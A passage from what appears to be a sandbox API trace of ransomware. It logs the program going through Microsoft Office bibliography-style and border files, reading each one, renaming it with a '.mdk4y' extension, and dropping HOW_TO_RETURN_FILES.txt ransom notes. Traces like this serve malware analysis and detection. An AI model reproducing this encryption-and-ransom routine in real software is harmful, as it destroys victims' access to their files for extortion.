Office\\Office14\\Bibliography\\Style\\MLA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828269400000) returned 1 [0207.465] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x49051, lpOverlapped=0x0) returned 1 [0207.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828270800000) returned 1 [0207.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828270900000) returned 1 [0207.482] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl.mdk4y")) returned 1 [0207.485] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.485] AreFileApisANSI () returned 1 [0207.485] GetACP () returned 0x4e4 [0207.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIST02.XSL", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SIST02.XSLical.XSL", lpUsedDefaultChar=0x37dec0) returned 10 [0207.485] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828271600000) returned 1 [0207.486] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3bd45, lpOverlapped=0x0) returned 1 [0207.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828273400000) returned 1 [0207.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828273400000) returned 1 [0207.507] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl.mdk4y")) returned 1 [0207.509] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0207.509] AreFileApisANSI () returned 1 [0207.509] GetACP () returned 0x4e4 [0207.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TURABIAN.XSL", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TURABIAN.XSLal.XSL", lpUsedDefaultChar=0x37dec0) returned 12 [0207.509] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0207.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828274100000) returned 1 [0207.511] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x52a0d, lpOverlapped=0x0) returned 1 [0207.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828276900000) returned 1 [0207.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828276900000) returned 1 [0207.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl.mdk4y")) returned 1 [0207.545] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0207.545] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0207.546] AreFileApisANSI () returned 1 [0207.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0207.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0207.547] GetFileType (hFile=0xd8) returned 0x1 [0207.547] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0207.547] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0207.548] AreFileApisANSI () returned 1 [0207.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0207.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0207.549] GetFileType (hFile=0x12c) returned 0x1 [0207.550] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0207.550] AreFileApisANSI () returned 1 [0207.550] GetACP () returned 0x4e4 [0207.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BORDERS", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="BORDERSraphy", lpUsedDefaultChar=0x37dfd8) returned 7 [0207.550] AreFileApisANSI () returned 1 [0207.550] GetACP () returned 0x4e4 [0207.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\h") returned 51 [0207.552] AreFileApisANSI () returned 1 [0207.552] GetACP () returned 0x4e4 [0207.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 1 [0207.552] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.552] AreFileApisANSI () returned 1 [0207.552] GetACP () returned 0x4e4 [0207.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 2 [0207.552] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.552] AreFileApisANSI () returned 1 [0207.552] GetACP () returned 0x4e4 [0207.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART1.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART1.BDRtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 10 [0207.552] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828278300000) returned 1 [0207.553] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7df6, lpOverlapped=0x0) returned 1 [0207.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828282700000) returned 1 [0207.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828282700000) returned 1 [0207.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.mdk4y")) returned 1 [0207.600] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.600] AreFileApisANSI () returned 1 [0207.600] GetACP () returned 0x4e4 [0207.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART10.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART10.BDRefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37df4c) returned 11 [0207.600] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828283200000) returned 1 [0207.602] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x244c, lpOverlapped=0x0) returned 1 [0207.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828285500000) returned 1 [0207.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828285500000) returned 1 [0207.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.mdk4y")) returned 1 [0207.629] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.629] AreFileApisANSI () returned 1 [0207.629] GetACP () returned 0x4e4 [0207.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART11.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART11.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0207.629] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828286100000) returned 1 [0207.631] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78c8, lpOverlapped=0x0) returned 1 [0207.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828289500000) returned 1 [0207.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828289500000) returned 1 [0207.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.mdk4y")) returned 1 [0207.668] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.668] AreFileApisANSI () returned 1 [0207.668] GetACP () returned 0x4e4 [0207.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART12.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART12.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0207.668] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828289900000) returned 1 [0207.669] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe584, lpOverlapped=0x0) returned 1 [0207.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828290400000) returned 1 [0207.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828290400000) returned 1 [0207.675] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.mdk4y")) returned 1 [0207.677] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.677] AreFileApisANSI () returned 1 [0207.677] GetACP () returned 0x4e4 [0207.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART13.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART13.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0207.677] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828290900000) returned 1 [0207.679] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6ed0, lpOverlapped=0x0) returned 1 [0207.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828292100000) returned 1 [0207.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828292200000) returned 1 [0207.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.mdk4y")) returned 1 [0207.694] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.694] AreFileApisANSI () returned 1 [0207.694] GetACP () returned 0x4e4 [0207.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART14.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART14.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0207.694] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828292500000) returned 1 [0207.695] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc8bc, lpOverlapped=0x0) returned 1 [0207.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828293900000) returned 1 [0207.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828293900000) returned 1 [0207.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.mdk4y")) returned 1 [0207.712] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.712] AreFileApisANSI () returned 1 [0207.712] GetACP () returned 0x4e4 [0207.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART15.BDR", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART15.BDR", lpUsedDefaultChar=0x37df4c) returned 11 [0207.712] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828294300000) returned 1 [0207.713] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6b14, lpOverlapped=0x0) returned 1 [0207.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828294500000) returned 1 [0207.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828294500000) returned 1 [0207.716] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.mdk4y")) returned 1 [0207.717] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.717] AreFileApisANSI () returned 1 [0207.717] GetACP () returned 0x4e4 [0207.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART2.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART2.BDRR", lpUsedDefaultChar=0x37df4c) returned 10 [0207.717] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828294800000) returned 1 [0207.718] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb854, lpOverlapped=0x0) returned 1 [0207.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828295000000) returned 1 [0207.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828295000000) returned 1 [0207.721] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.mdk4y")) returned 1 [0207.722] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.722] AreFileApisANSI () returned 1 [0207.722] GetACP () returned 0x4e4 [0207.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART3.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART3.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0207.722] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828295400000) returned 1 [0207.724] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe12e, lpOverlapped=0x0) returned 1 [0207.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828297400000) returned 1 [0207.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1828297400000) returned 1 [0207.745] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.mdk4y")) returned 1 [0207.747] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0207.747] AreFileApisANSI () returned 1 [0207.747] GetACP () returned 0x4e4 [0207.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSART4.BDR", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSART4.BDR", lpUsedDefaultChar=0x37df4c) returned 10 [0207.747] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart4.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0207.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 